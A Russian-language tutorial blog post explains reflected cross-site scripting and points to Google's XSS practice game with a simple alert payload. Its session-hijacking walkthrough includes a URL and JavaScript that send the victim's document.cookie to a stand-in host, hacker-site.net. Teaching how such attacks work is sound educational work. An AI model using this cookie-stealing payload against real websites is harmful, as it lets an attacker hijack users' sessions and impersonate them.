Что такое межсайтовый скриптинг?
Межсайтовый скриптинг (XSS) — один из самых популярных сегодня методов атак, известный как «крестный отец атак», и на протяжении многих лет числился в списке самых опасных методов атак на веб-приложения.
Не называйте его сокращенно CSS, чтобы избежать путаницы с концепцией каскадных таблиц стилей HTML.Техника
XSS
основана на вставке опасных сценариев в исходный код веб-приложения. Выполнить вредоносный код Javascript для захвата сеанса входа пользователя.
Чтобы лучше понять, давайте рассмотрим следующий пример. Веб-приложение, которое позволяет печатать значение, которое мы передаем через URL-адрес, при условии, что мы передаем в переменную имени значение Ping:
Пока все в порядке, давайте рассмотрим исходный код html:
Легко заметить, что введенное нами значение имени было вставлено в исходный код. Таким образом, вполне возможно, что все импортированное также может быть вставлено. Проблема становится серьёзной, если введенное значение — это не обычная строка, как указано выше, а потенциально опасный фрагмент кода, примерно такой:
Попробуйте еще раз с указанным выше значением:
Из этого примера мы можем сделать два вывода. Во-первых, переменная name может принимать любое входное значение и передавать его на обработку на сервер. Во-вторых, сервер не контролировал это входное значение перед возвратом его в браузер. Это приводит к вставке кода JavaScript в исходный код.
XSS обычно делится на 3 основных типа: отраженный, хранимый и основанный на DOM. В этой статье я в основном упомяну технику Reflected XSS.
До 75% техник XSS основаны на Reflected XSS. Он называется отраженным, потому что в этом типе сценария эксплойта хакер должен отправить жертве URL-адрес, содержащий вредоносный код (обычно JavaScript). Жертве достаточно запросить этот URL-адрес, и хакер немедленно получит ответ, содержащий желаемый результат (здесь показана рефлексивность). Кроме того, он также известен как XSS первого порядка.
Реальный сценарий добычи полезных ископаемых
Существует множество способов эксплуатировать ошибку Reflected XSS, один из наиболее известных способов — перехватить сеанс пользователя, тем самым получив доступ к данным и получив его права на сайте.
Подробности описаны в следующих шагах:
1. Пользователь входит в Интернет и предполагает, что сеанс назначен:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Каким-то образом хакер отправляет пользователю URL-адрес:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Предположим, example.com — это веб-сайт, который посещает жертва, а hacker-site.net — это сайт, созданный хакером.
3. Жертва получает доступ к указанному выше URL-адресу.
4. Сервер отвечает жертве вместе с данными, содержащимися в запросе (фрагмент хакерского javascript)
5. Браузер жертвы получает ответ и выполняет JavaScript.
6. Фактический JavaScript, созданный хакером, выглядит следующим образом:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Приведенная выше командная строка по существу отправляет запрос на сайт хакера с параметром, являющимся файлом cookie пользователя:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. С вашего сайта хакер перехватит указанное выше содержимое запроса и посчитает, что сеанс пользователя захвачен. На этом этапе хакер может выдать себя за жертву и воспользоваться всеми правами на веб-сайте, которыми обладает жертва.
Упражняться
Google создал страницу, где можно попрактиковаться в использовании ошибок XSS: https://xss-game.appspot.com.
Целью этих задач является внедрение скриптов для открытия всплывающего окна. Первая задача — проиллюстрировать отраженную технику, код эксплуатации довольно прост:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Удачи!